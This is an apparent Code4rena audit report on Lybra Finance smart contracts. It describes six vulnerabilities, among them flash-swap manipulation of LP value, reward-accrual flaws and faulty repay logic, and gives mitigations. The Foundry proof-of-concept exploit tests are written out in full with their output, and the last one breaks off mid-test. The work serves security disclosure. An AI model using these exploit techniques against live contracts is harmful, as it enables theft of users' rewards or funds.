Lybra Finance - Kenshin's results

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/configuration/LybraConfigurator.sol#L199 https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L30 https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L18

Vulnerability details

Impact

The setSafeCollateralRatio() function will always revert due to an attempt to read an internal variable of a contract. As a result, it is not possible to set the safe collateral ratio of any pool to a custom value.

There is a validation constraint that implicitly enforces that the safe collateral ratio must be initialized before the bad collateral ratio of a pool can be initialized. A broken safe collateral ratio setter function means that the bad collateral ratio will always remain uninitialized.

It is difficult to determine whether this issue will be identified during testing, immediately after deployment, or after launch. If it is identified before launch, the fixed configurator contract and pools can be redeployed without significant loss. However, if it is identified after launch, all of the already launched pools will have the broken liquidation() function due to arithmetic underflow in the getBadCollateralRatio() function and there is no way to fix this as the configurator address is declared as an immutable variable in the pool contracts. As a result, anyone could deposit and borrow up to 160% collateral rate without fear of being liquidated. The team could drop the maximum minting allowance to 0 to pause the pools indirectly, but may unable to control the already opened borrowing positions.

Proof of Concept

Pool contracts are intended to inherit from 2 main base pool contracts, LybraEUSDVaultBase.sol and LybraPeUSDVaultBase.sol. These 2 base contracts declare the vaultType() function with no specific visibility, so the internal visibility is enforced by default.

The following is a proof of concept (PoC) using Foundry.

File: test/LybraConfigurator.t.sol

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "contract/lybra/configuration/LybraConfigurator.sol";
import "contract/lybra/governance/GovernanceTimelock.sol";
import "contract/mocks/stETHMock.sol";
import "contract/mocks/mockWstETH.sol";
import "contract/lybra/pools/LybraWstETHVault.sol";
import "contract/lybra/token/PeUSDMainnetStableVision.sol";
import "contract/mocks/chainLinkMock.sol";

contract C4LybraConfiguratorTest is Test {
    address immutable goerliEndPoint = 0xbfD2135BFfbb0B5378b56643c2Df8a87552Bfa23;

    Configurator configurator;
    GovernanceTimelock govTimelock;
    stETHMock stETH;
    WstETH wstETH;
    PeUSDMainnet PeUSD;
    mockChainlink ethOracle;
    LybraWstETHVault pool;

    function setUp() public {
        govTimelock = new GovernanceTimelock(0, new address[](0), new address[](0), address(0));
        configurator = new Configurator(address(govTimelock), address(0));
        stETH = new stETHMock();
        wstETH = new WstETH(IStETH(address(stETH)));
        PeUSD = new PeUSDMainnet(address(configurator), 18, goerliEndPoint);
        ethOracle = new mockChainlink();
        pool = new LybraWstETHVault(address(stETH), address(PeUSD), address(ethOracle), address(wstETH), address(configurator));
        configurator.setMintVaultMaxSupply(address(pool), type(uint).max);
        configurator.setMintVault(address(pool), true);
    }

    function testBrokenSafeRatioSetter() public {
        vm.expectRevert();
        configurator.setSafeCollateralRatio(address(pool), 200e18); // unable to set safe ratio

        vm.expectRevert(bytes("LNA"));
        configurator.setBadCollateralRatio(address(pool), 140e18); // because safe ratio can't be initialize, bad ratio for any pools will be uninitializable

        assertEq(configurator.getSafeCollateralRatio(address(pool)), 160e18, "Should return default ratio for uninitialize pools");

        uint assetPrice = pool.getAssetPrice();
        wstETH.claim();
        wstETH.approve(address(pool), 1 ether);
        vm.expectRevert(bytes("collateralRatio is Below safeCollateralRatio"));
        pool.depositAssetToMint(1 ether, 1 ether * assetPrice * 100 / 150e18); // mint to 150%, below the default safe ratio

        pool.depositAssetToMint(1 ether, 1 ether * assetPrice * 100 / 160e18); // mint to 160% == safe ratio
        
        ethOracle.setPrice(600e8); // mock ETH price fall from $1600 -> $600
        
        assertLt(
            pool.depositedAsset(address(this)) * pool.getAssetPrice() * 100 / pool.getBorrowedOf(address(this)),
            100e18,
            "Should have current collateral ratio below 100%"
        );

        vm.expectRevert(stdError.arithmeticError);
        configurator.getBadCollateralRatio(address(pool)); // reverts because 0-1e19

        PeUSD.approve(address(pool), type(uint).max);
        vm.expectRevert(stdError.arithmeticError);
        pool.liquidation(address(this), address(this), 0.5 ether); // reverts because getBadCollateralRatio()
    }
}

The test should pass without errors.

Running 1 test for test/LybraConfigurator.t.sol:C4LybraConfiguratorTest
[PASS] testBrokenSafeRatioSetter() (gas: 557389)
Test result: ok. 1 passed; 0 failed; finished in 4.84ms

Please follow this gist if you prefer my instruction on how I setup the contest repo with Foundry environment.

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

The function should call getVaultType(), which has already been implemented in both base pool contracts.

• https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L323
• https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L265

Assessed type

Error

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/token/esLBR.sol#L33 https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/token/esLBR.sol#L40

Vulnerability details

Impact

The esLBR balance of users plays the most important role in staking reward calculation. Using a try-catch statement over refreshReward() in the esLBR.mint() and esLBR.burn() functions can have the following effects when refreshReward() become unavailable:

• Users can mint more esLBR, then manually call refreshReward() afterward for the contract to record the earned reward with the increased esLBR balance of the users. This results in users receiving more rewards than they should.
• Users can be back run by a searcher or someone else calling refreshReward(victim) for the contract to record the earned reward with the decreased esLBR balance of the users. This results in users losing some of their rightful pending rewards that have not yet been recorded to the latest timestamp.

Proof of Concept

The following is the coded PoC using Foundry.

Note: This PoC creates a mock reward contract. It has the same logic as the real one, but with added setter functions that serve only to simplify the test flow.

File: test/esLBR.t.sol

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "contract/lybra/configuration/LybraConfigurator.sol";
import "contract/lybra/governance/GovernanceTimelock.sol";
import {esLBR} from "contract/lybra/token/esLBR.sol";

contract C4esLBRTest is Test {
    Configurator configurator;
    GovernanceTimelock govTimelock;
    mockProtocolRewardsPool rewardsPool;
    esLBR eslbr;

    address exploiter = address(0xfff);
    address victim = address(0xeee);

    function setUp() public {
        govTimelock = new GovernanceTimelock(0, new address[](0), new address[](0), address(0));
        configurator = new Configurator(address(govTimelock), address(0));
        rewardsPool = new mockProtocolRewardsPool();
        eslbr = new esLBR(address(configurator));

        rewardsPool.setTokenAddress(address(eslbr));

        address[] memory minter = new address[](1);
        minter[0] = address(this);
        bool[] memory minterBool = new bool[](1);
        minterBool[0] = true;
        configurator.setTokenMiner(minter, minterBool); // set this contract as the esLBR minter
        configurator.setProtocolRewardsPool(address(rewardsPool));

        eslbr.mint(exploiter, 100 ether);
        eslbr.mint(victim, 100 ether);
        rewardsPool.setRewardPerTokenStored(1);
    }

    function testMintFailRefreshReward() public {
        assertEq(eslbr.balanceOf(exploiter), eslbr.balanceOf(victim), "Should start with equal esLBR balance");
        assertEq(rewardsPool.earned(exploiter), rewardsPool.earned(victim), "Should start with equal rewards accrued");

        rewardsPool.setRewardPerTokenStored(2);

        eslbr.mint(victim, 100 ether); // refreshReward should pass
        rewardsPool.forceRevert(true); // Assume something occur, causing the refreshReward become unavailable
        eslbr.mint(exploiter, 100 ether);

        // Record earning rewards to latest rate
        rewardsPool.forceRevert(false);
        rewardsPool.refreshReward(exploiter);
        rewardsPool.refreshReward(victim);

        assertGt(rewardsPool.earned(exploiter), rewardsPool.earned(victim), "Exploiter should have more reward by this flaw");
    }

    function testBurnFailRefreshReward() public {
        assertEq(eslbr.balanceOf(exploiter), eslbr.balanceOf(victim), "Should start with equal esLBR balance");
        assertEq(rewardsPool.earned(exploiter), rewardsPool.earned(victim), "Should start with equal rewards accrued");

        rewardsPool.forceRevert(true); // Assume something occur, causing the refreshReward become unavailable
        eslbr.burn(victim, 100 ether); // The victim unstake during that time

        // Record earning rewards to latest rate
        rewardsPool.forceRevert(false);
        rewardsPool.refreshReward(exploiter);
        rewardsPool.refreshReward(victim);

        assertGt(rewardsPool.earned(exploiter), rewardsPool.earned(victim), "Victim should loss earned rewards by this flaw");
    }
}

contract mockProtocolRewardsPool {
    esLBR public eslbr;

    // Sum of (reward ratio * dt * 1e18 / total supply)
    uint public rewardPerTokenStored;
    // User address => rewardPerTokenStored
    mapping(address => uint) public userRewardPerTokenPaid;
    // User address => rewards to be claimed
    mapping(address => uint) public rewards;

    bool isForceRevert; // for mockup reverting on refreshreward

    function setTokenAddress(address _eslbr) external {
        eslbr = esLBR(_eslbr);
    }

    // User address => esLBR balance
    function stakedOf(address staker) internal view returns (uint256) {
        return eslbr.balanceOf(staker);
    }

    function earned(address _account) public view returns (uint) {
        return ((stakedOf(_account) * (rewardPerTokenStored - userRewardPerTokenPaid[_account])) / 1e18) + rewards[_account];
    }

    /**
     * @dev Call this function when deposit or withdraw ETH on Lybra and update the status of corresponding user.
     */
    modifier updateReward(address account) {
        if (isForceRevert) revert();
        rewards[account] = earned(account);
        userRewardPerTokenPaid[account] = rewardPerTokenStored;
        _;
    }

    function refreshReward(address _account) external updateReward(_account) {}

    function forceRevert(bool _isForce) external {
        isForceRevert = _isForce;
    }

    function setRewardPerTokenStored(uint value) external {
        rewardPerTokenStored = value;
    }
}

The test should pass without errors.

Running 2 tests for test/esLBR.t.sol:C4esLBRTest
[PASS] testBurnFailRefreshReward() (gas: 141678)
[PASS] testMintFailRefreshReward() (gas: 188308)
Test result: ok. 2 passed; 0 failed; finished in 2.50ms

Please follow this gist if you prefer my instruction on how I setup the contest repo with Foundry environment.

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

The refreshReward() function should be a mandatory action inside either the mint() or burn() functions. The try-catch statement should be removed.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/miner/esLBRBoost.sol#L38-L45

Vulnerability details

Impact

Unlike other activities, such as minting or burning eUSD/peUSD, staking or withdrawing underlying tokens in staking pools, setting or increasing the lock time does not update the reward before changing the user's boost multiplier. There are two potential impacts, depending on whether this is an intentional design or not.

• If it is intentional, users who attempt to increase their lock time to boost their previously earned rewards may be front-run by someone calling refreshReward() before the user's transaction to set or increase the lock time. This would render the user's attempt ineffective.
• If it is unintentional, users could stake underlying tokens in the mining pool and begin accruing rewards, then set or increase their lock time later to boost all rewards earned since the beginning of the stake.

However, setting or increasing the lock time also affects the exploiting users themselves, as they become unable to unstake esLBR back to LBR for a specific period of time, depending on the committed lock time.

Proof of Concept

The following is the coded PoC using Foundry.

File: test/esLBRBoost.t.sol

// SPDX-License-Identifier: Unlicensed

pragma solidity 0.8.17;

import "forge-std/Test.sol";
import "contract/lybra/miner/esLBRBoost.sol";
import "contract/lybra/miner/stakerewardV2pool.sol";
import "contract/mocks/mockUSDC.sol";

contract C4esLBRBoostTest is Test {
    esLBRBoost boost;
    StakingRewardsV2 stakePool;
    mockUSDC stakeToken;

    address alice = address(0xfefe);
    address bob = address(0xcdcd);

    function setUp() public {
        boost = new esLBRBoost();
        stakeToken = new mockUSDC();
        stakeToken.transfer(alice, 1000 ether);
        stakeToken.transfer(bob, 1000 ether);

        stakePool = new StakingRewardsV2(address(stakeToken), address(0), address(boost)); // no need to deploy reward token as only need to prove for accrued reward
        stakePool.notifyRewardAmount(100 ether);
    }

    function testBoostPreviousReward() public {
        // Alice and Bob stake the same underlying token amount at the same block.timestamp
        // implying that their should earn reward equally
        uint startTime = block.timestamp;
        vm.startPrank(alice);

        // Alice commit to lock their reward to boost staking reward since the beginning
        assertEq(boost.getUnlockTime(alice), 0, "Should have yet set lock time");
        boost.setLockStatus(3); // lock for 365 days
        assertEq(boost.getUnlockTime(alice), block.timestamp + 365 days, "Should have set unlock time to 365 days in the future");

        stakeToken.approve(address(stakePool), 1000 ether);
        stakePool.stake(1000 ether);
        assertEq(stakePool.earned(alice), 0, "Should have yet earn reward");
        assertEq(stakePool.getBoost(alice), 100 * 1e18 + 100 * 1e18, "Should have the correct boost");

        changePrank(bob);
        stakeToken.approve(address(stakePool), 1000 ether);
        stakePool.stake(1000 ether);
        assertEq(stakePool.earned(bob), 0, "Should have yet earn reward");
        assertEq(stakePool.getBoost(bob), 100 * 1e18, "Should have 0 boost");

        assertEq(startTime, block.timestamp, "Should occured within the same timestamp");

        vm.warp(block.timestamp + 100 days); // roll time forward
        assertGt(stakePool.earned(alice), stakePool.earned(bob), "Alice should earn more than Bob because boosting");

        // Bob commit to lock their reward after staked
        assertEq(boost.getUnlockTime(bob), 0, "Should have yet set lock time");
        boost.setLockStatus(3);
        assertEq(boost.getUnlockTime(bob), block.timestamp + 365 days, "Should have set unlock time to 365 days in the future");
        
        assertEq(stakePool.earned(alice), stakePool.earned(bob), "Bob can boost previously earned reward");
    }
}

The test should pass without errors.

Running 1 test for test/esLBRBoost.t.sol:C4esLBRBoostTest
[PASS] testBoostPreviousReward() (gas: 394359)
Test result: ok. 1 passed; 0 failed; finished in 5.19ms

Please follow this gist if you prefer my instruction on how I setup the contest repo with Foundry environment.

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

• If this is an intentional design, the contract should only allow users to refresh their accrued rewards to prevent others from front-running them.
• If this is unintentional, the setLockStatus() function should call all boosting-support staking pools to record the user's reward with the previous boost before updating the boost multiplier.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L192-L210

Vulnerability details

Impact

The peUSD vault can have a borrow fee set, so borrowers will have to repay more over time. Borrowers can check the total amount needed to fully repay by calling getBorrowedOf(), which calculates the actual borrowing amount plus the fee.

Borrowers who attempt to fully repay all borrowed at once will encounter an arithmetic underflow revert. This is because the _repay() function reassigns the repay amount by capping it at the amount of the borrower's actual borrowed plus total pending charge fee, which will be equal to the return amount from getBorrowedOf(). Hence, this will enter the if-case, and the function sends the fee amount of the borrower to the configurator. Then it will attempt to deduct the borrower's borrowed amount by the amount, which is currently a combination of actual borrowed plus fee, resulting in an underflow revert.

Borrowers can avoid paying fees by repaying only up to their actual borrowing amount. Due to the mentioned revert, borrowers are forced to repay only up to their actual borrowing amount; anything above that will be reverted. Consider this example for illustration:

A borrower borrows 100 peUSD for x days. This borrower is charged an additional 1 peUSD as a borrowing fee. So getBorrowedOf(this_borrower) = 101 peUSD. They cannot repay 101 peUSD because of the mentioned underflow revert. So they must repay only up to 100 peUSD.

Scenario A: Repay the actual borrowing amount. This scenario should mostly enter the if-case, forcing feeStored to reset back to 0, meaning that the borrower does not need to pay a fee.

Scenario B: Repay any amount less than totalFee. This scenario will enter the else-case; feeStored will be deducted by the user-specified amount, and then the function will deduct the borrower's borrowing by the same amount as well. This means that the borrowing fee is implicitly repaid by the protocol instead of by the borrower.

Another impact of this invalid logic is that the peUSD supply will become more inaccurate over time, as some of the repay amount is technically being transferred to the configurator instead of being burned. This means that the actual supply will be greater than what poolTotalPeUSDCirculation is recording.

Proof of Concept

The following is the coded PoC using Foundry.

File: test/LybraPeUSDVaultBase.t.sol

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "contract/lybra/configuration/LybraConfigurator.sol";
import "contract/lybra/governance/GovernanceTimelock.sol";
import "contract/mocks/stETHMock.sol";
import "contract/mocks/mockWstETH.sol";
import "contract/lybra/pools/LybraWstETHVault.sol";
import "contract/lybra/token/PeUSDMainnetStableVision.sol";
import "contract/mocks/chainLinkMock.sol";

contract C4LybraPeUSDVaultBaseTest is Test {
    address immutable goerliEndPoint = 0xbfD2135BFfbb0B5378b56643c2Df8a87552Bfa23;

    Configurator configurator;
    GovernanceTimelock govTimelock;
    stETHMock stETH;
    WstETH wstETH;
    PeUSDMainnet PeUSD;
    mockChainlink ethOracle;
    LybraWstETHVault pool; // <-- Use WstETHVault

    function setUp() public {
        govTimelock = new GovernanceTimelock(0, new address[](0), new address[](0), address(0));
        configurator = new Configurator(address(govTimelock), address(0));
        stETH = new stETHMock();
        wstETH = new WstETH(IStETH(address(stETH)));
        PeUSD = new PeUSDMainnet(address(configurator), 18, goerliEndPoint);
        ethOracle = new mockChainlink();
        pool = new LybraWstETHVault(address(stETH), address(PeUSD), address(ethOracle), address(wstETH), address(configurator));
        configurator.setMintVaultMaxSupply(address(pool), type(uint).max);
        configurator.setMintVault(address(pool), true);
        configurator.setBorrowApy(address(pool), 100); // set borrow fee to 1%
    }

    function testInvalidRepayLogicScenarioA() public {
        _mockBorrow();
        wstETH.claim();
        wstETH.approve(address(pool), 100 ether);
        pool.depositAssetToMint(100 ether, 100 ether * pool.getAssetPrice() * 100 / 200e18); // mint to 200% collateral ratio
        
        uint initialBorrow = pool.getBorrowedOf(address(this));
        vm.warp(block.timestamp + 365 days);
        uint currentBorrow = pool.getBorrowedOf(address(this));
        assertGt(currentBorrow, initialBorrow, "Should increase the borrow amount by borrowing fee");

        vm.expectRevert(stdError.arithmeticError); // reverted by L206, borrowed[_onBehalfOf] < amount, because amount = borrowed + feeStored
        pool.burn(address(this), currentBorrow);

        pool.burn(address(this), initialBorrow);
        assertEq(pool.getBorrowedOf(address(this)), 0, "Should reset the feeStored to 0");
    }

    function testInvalidRepayLogicScenarioB() public {
         _mockBorrow();
        wstETH.claim();
        wstETH.approve(address(pool), 100 ether);
        pool.depositAssetToMint(100 ether, 100 ether * pool.getAssetPrice() * 100 / 200e18); // mint to 200% collateral ratio

        uint initialBorrow = pool.getBorrowedOf(address(this));
        vm.warp(block.timestamp + 365 days);
        uint currentBorrow = pool.getBorrowedOf(address(this));
        assertGt(currentBorrow, initialBorrow, "Should increase the borrow amount by borrowing fee");

        uint feeStored = currentBorrow - initialBorrow;
        pool.burn(address(this), feeStored/2); // pay less than totalFee to force enter the else-case
        assertEq(pool.getBorrowedOf(address(this)), initialBorrow); // Should repay both fee and borrowed amout, pay `n` amount result in `2n` amount.
    }

    function _mockBorrow() internal {
        for (uint160 i = 10; i < 20; i++) { // mock 10 borrowers
            vm.startPrank(address(i));
            wstETH.claim();
            wstETH.approve(address(pool), 100 ether);
            pool.depositAssetToMint(100 ether, 0);
            pool.mint(address(this), 100 ether * pool.getAssetPrice() * 100 / 200e18); // mint to the main contract instead, to ensure there will be sufficient amount to repay
            vm.stopPrank();
        }
    }
}

The test should pass without errors.

Running 2 tests for test/LybraPeUSDVaultBase.t.sol:C4LybraPeUSDVaultBaseTest
[PASS] testInvalidRepayLogicScenarioA() (gas: 1653882)
[PASS] testInvalidRepayLogicScenarioB() (gas: 1591208)
Test result: ok. 2 passed; 0 failed; finished in 7.96ms

Please follow this gist if you prefer my instruction on how I setup the contest repo with Foundry environment.

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

If the borrower repays an amount less than the fee, only the borrowing fee should be deducted from the borrower. If the borrower repays an amount equal to or greater than the borrowing fee, the borrowing amount should be deducted by the amount after deduction of fees (amount - totalFee), and then the protocol should burn only that amount out of circulation.

The correct logic of the _repay() function should be:

    function _repay(address _provider, address _onBehalfOf, uint256 _amount) internal virtual {
        try configurator.refreshMintReward(_onBehalfOf) {} catch {}
        _updateFee(_onBehalfOf);
        uint256 totalFee = feeStored[_onBehalfOf];
        uint256 amount = borrowed[_onBehalfOf] + totalFee >= _amount ? _amount : borrowed[_onBehalfOf] + totalFee;
        if(amount >= totalFee) {
            feeStored[_onBehalfOf] = 0;
            PeUSD.transferFrom(_provider, address(configurator), totalFee);
            PeUSD.burn(_provider, amount - totalFee);
+            borrowed[_onBehalfOf] -= (amount - totalFee);
+            poolTotalCirculation -= (amount - totalFee);
        } else {
            feeStored[_onBehalfOf] = totalFee - amount;
            PeUSD.transferFrom(_provider, address(configurator), amount);
        }
        try configurator.distributeRewards() {} catch {}
-        borrowed[_onBehalfOf] -= amount;
-        poolTotalPeUSDCirculation -= amount;

        emit Burn(_provider, _onBehalfOf, amount, block.timestamp);
    }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/miner/EUSDMiningIncentives.sol#L153-L154

Vulnerability details

Impact

The stakedLBRLpValue() function is used to determine if a user can claim rewards or if a user's rewards are purchasable. However, the logic of stakedLBRLpValue() checks the actual balance of token A and token B in the pair address, which can be manipulate by the flash swap technique or the flash loan technique.

• To call getReward(), isOtherEarningsClaimable() must return false. This means the attacker must increase the return amount of stakedLBRLpValue(). This can be done by flash loaning token A or token B, and transferring them directly to the LP address to temporarily increase the token balance in LP. Then, the attacker can call skim() to retrieve the token back and repay the loan.
• To call purchaseOtherEarnings(), isOtherEarningsClaimable() must return true. This means the attacker must decrease the return amount of stakedLBRLpValue(). This can be done by using a flash swap to temporarily drain one side of the token out of the LP, resulting in a price drop to roughly 50% of the actual price.

Proof of Concept

The following is a coded proof of concept using Foundry.

Note: To keep the test as simple as possible, it uses an actual UniswapV2 Pair as a mock LP. Therefore, the test must be run with the --fork-url option. The WETH-BAT UniV2 pair was chosen because its liquidity is neither too high nor too low, making it better suited for demonstrating balance manipulation than a pair with high or low liquidity.

File: test/EUSDMiningIncentives.t.sol

// SPDX-License-Identifier: Unlicensed

pragma solidity 0.8.17;

import "forge-std/Test.sol";
import "contract/lybra/configuration/LybraConfigurator.sol";
import "contract/lybra/governance/GovernanceTimelock.sol";
import "contract/mocks/stETHMock.sol";
import "contract/mocks/mockWstETH.sol";
import "contract/lybra/pools/LybraWstETHVault.sol";
import "contract/lybra/token/PeUSDMainnetStableVision.sol";
import "contract/mocks/chainLinkMock.sol";
import "contract/mocks/mockLBRPriceOracle.sol";
import "contract/lybra/miner/esLBRBoost.sol";
import "contract/lybra/miner/stakerewardV2pool.sol";
import "contract/mocks/mockUSDC.sol";
import {EUSDMiningIncentives} from "contract/lybra/miner/EUSDMiningIncentives.sol";

contract C4EUSDMiningIncentivesTest is Test {
    address immutable goerliEndPoint = 0xbfD2135BFfbb0B5378b56643c2Df8a87552Bfa23;

    Configurator configurator;
    GovernanceTimelock govTimelock;
    stETHMock stETH;
    WstETH wstETH;
    PeUSDMainnet PeUSD;
    mockChainlink ethOracle;
    mockLBRPriceOracle lbrOracle;
    LybraWstETHVault pool;
    esLBRBoost boost;
    StakingRewardsV2 stakePool;
    mockUSDC stakeToken;
    EUSDMiningIncentives mining;
    IUniswapV2Pair pair = IUniswapV2Pair(0xB6909B960DbbE7392D405429eB2b3649752b4838); // mainnet WETH-BAT UNI-V2
    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // mainnet WETH
    IERC20 LBR = IERC20(0x0D8775F648430679A709E98d2b0Cb6250d2887EF); // as this test use WETH-BAT LP, mock BAT as the LBR instead

    function setUp() public {
        /* Deploy relating contracts */ 
        govTimelock = new GovernanceTimelock(0, new address[](0), new address[](0), address(0));
        configurator = new Configurator(address(govTimelock), address(0));
        stETH = new stETHMock();
        wstETH = new WstETH(IStETH(address(stETH)));
        PeUSD = new PeUSDMainnet(address(configurator), 18, goerliEndPoint);
        ethOracle = new mockChainlink();
        lbrOracle = new mockLBRPriceOracle();
        pool = new LybraWstETHVault(address(stETH), address(PeUSD), address(ethOracle), address(wstETH), address(configurator));
        boost = new esLBRBoost();
        stakeToken = new mockUSDC();
        stakePool = new StakingRewardsV2(address(stakeToken), address(0), address(boost)); // no need to deploy reward token as only need to prove for accrued reward
        stakePool.notifyRewardAmount(100 ether);
        mining = new EUSDMiningIncentives(address(configurator), address(boost), address(ethOracle), address(lbrOracle)); // boost contract is no need for this prove

        /* Configure */
        configurator.setMintVaultMaxSupply(address(pool), type(uint).max);
        configurator.setMintVault(address(pool), true);
        mining.setEthlbrStakeInfo(address(stakePool), address(pair));
        mining.setToken(address(LBR), address(0)); // no need to use esLBR
        address[] memory pools = new address[](1);
        pools[0] = address(pool);
        mining.setPools(pools);
    }

    function testManipulateLBRLpValue() public {
        /* need to run with maininet fork as it use real LP address */
        emit log_named_uint("This PoC was run on block:", block.number);
        emit log(""); // 1 line break

        _helperStake(); // mock amount for IEUSD(ethlbrStakePool).balanceOf(user)
        _helperDepositAndBorrow(); // mock amount for stakeOf(user)

        uint notmal_stakedLBRLpValue = mining.stakedLBRLpValue(address(this));
        emit log("Before calling flash swap");

        (uint r0,,) = pair.getReserves(); // get LBR reserve in LP
        deal(address(LBR), address(this), r0); // get some amount for repaying the flash swap
        emit log_named_uint("LBR balance in LP", LBR.balanceOf(address(pair)));

        if (mining.isOtherEarningsClaimable(address(this))) {
            emit log("isOtherEarningsClaimable: true");
        }
        else {
            emit log("isOtherEarningsClaimable: false");
        }
        emit log(""); // 1 line break

        pair.swap(r0-1, 0, address(this), abi.encode("flash_swap")); // flash loan all possible LBR reserve
    }

    /* Helper function */
    function _helperStake() public {
        stakeToken.approve(address(stakePool), 10 ether);
        stakePool.stake(10 ether);
    }

    /* Helper function */
    function _helperDepositAndBorrow() public {
        wstETH.claim();
        uint amount = 100 ether;
        wstETH.approve(address(pool), amount);
        pool.depositAssetToMint(amount, amount * pool.getAssetPrice() * 100 / 200e18); // mint to 200% collateral ratio
    }

    /* Uniswap callback for flash swap */
    function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external {
        assertEq(msg.sender, address(pair), "Should be invoked by the Uniswap Pair");
        emit log("Enter flash swap");
        emit log_named_uint("LBR balance in LP", LBR.balanceOf(address(pair)));
        
        if (mining.isOtherEarningsClaimable(address(this))) {
            emit log("isOtherEarningsClaimable: true");
        }
        else {
            emit log("isOtherEarningsClaimable: false");
        }

        LBR.transfer(address(pair), amount0 * 1004/1000); // repay the same token plus 0.3% fee
    }
}

interface IUniswapV2Pair { // simplified version, only needed function is included
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}

The test should pass without errors. If the test fail, please specific the fork block number using --fork-block-number <block.number> to the same block as the output below.

run: forge test --match-test testManipulateLBRLpValue -vv --fork-url "https://eth.llamarpc.com"

Running 1 test for test/EUSDMiningIncentives.t.sol:C4EUSDMiningIncentivesTest
[PASS] testManipulateLBRLpValue() (gas: 654089)
Logs:
  This PoC was run on block:: 17608214
  
  Before calling flash swap
  LBR balance in LP: 297227771896060211745307
  isOtherEarningsClaimable: false
  
  Enter flash swap
  LBR balance in LP: 1
  isOtherEarningsClaimable: true

Please follow this gist if you prefer my instruction on how I setup the contest repo with Foundry environment.

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

The function can compare the actual balance in the LP address with the LP reservers amount to ensure that the balance is not being manipulated. Or simply call sync() to the LP address to check whether the function is being called during a flash swap or not.

Assessed type

Uniswap

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/configuration/LybraConfigurator.sol#L127 https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/configuration/LybraConfigurator.sol#L202

Vulnerability details

Impact

Users can deposit collateral assets and mint peUSD up to the vaultSafeCollateralRatio specified in the configurator contract. If the vaultBadCollateralRatio exceeds the vaultSafeCollateralRatio, users who mint peUSD up to the vaultSafeCollateralRatio but below the vaultBadCollateralRatio can be liquidated instantly.

Proof Of Concept

The vaultBadCollateralRatio must be between 130% and 150% and cannot exceed the vaultSafeCollateralRatio by more than 10%. This means that if the vaultSafeCollateralRatio is set below 140%, there is an additional 10% allowance for the vaultBadCollateralRatio to be greater than the vaultSafeCollateralRatio. The vaultSafeCollateralRatio must be set first, otherwise, the call to set the vaultBadCollateralRatio will fail because [130,150] > 0+10%.

File: contracts/lybra/configuration/LybraConfigurator.sol

126:    function setBadCollateralRatio(address pool, uint256 newRatio) external onlyRole(DAO) {
127:        require(newRatio >= 130 * 1e18 && newRatio <= 150 * 1e18 && newRatio <= vaultSafeCollateralRatio[pool] + 1e19, "LNA");

For vaultType == 1 (peUSD pool), the minimum value for vaultSafeCollateralRatio is 10%. If the vaultSafeCollateralRatio is set to 140% or below, it is possible to set the vaultBadCollateralRatio above this ratio.

File: contracts/lybra/configuration/LybraConfigurator.sol

198:    function setSafeCollateralRatio(address pool, uint256 newRatio) external checkRole(TIMELOCK) {
199:        if(IVault(pool).vaultType() == 0) {
200:            require(newRatio >= 160 * 1e18, "eUSD vault safe collateralRatio should more than 160%");
201:        } else {
202:            require(newRatio >= vaultBadCollateralRatio[pool] + 1e19, "PeUSD vault safe collateralRatio should more than bad collateralRatio");
203:        }

The following is a proof of concept (PoC) using Foundry. The test function demonstrates that it is possible to set vaultSafeCollateralRatio to 140% and vaultBadCollateralRatio to 150%, then liquidate a position that has minted peUSD up to the vaultSafeCollateralRatio.

File: test/LybraConfigurator.t.sol

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "contract/lybra/configuration/LybraConfigurator.sol";
import "contract/lybra/governance/GovernanceTimelock.sol";
import "contract/mocks/stETHMock.sol";
import "contract/mocks/mockWstETH.sol";
import "contract/lybra/pools/LybraWstETHVault.sol";
import "contract/lybra/token/PeUSDMainnetStableVision.sol";
import "contract/mocks/chainLinkMock.sol";

contract C4LybraConfiguratorTest is Test {
    address immutable goerliEndPoint = 0xbfD2135BFfbb0B5378b56643c2Df8a87552Bfa23;

    Configurator configurator;
    GovernanceTimelock govTimelock;
    stETHMock stETH;
    WstETH wstETH;
    PeUSDMainnet PeUSD;
    mockChainlink ethOracle;
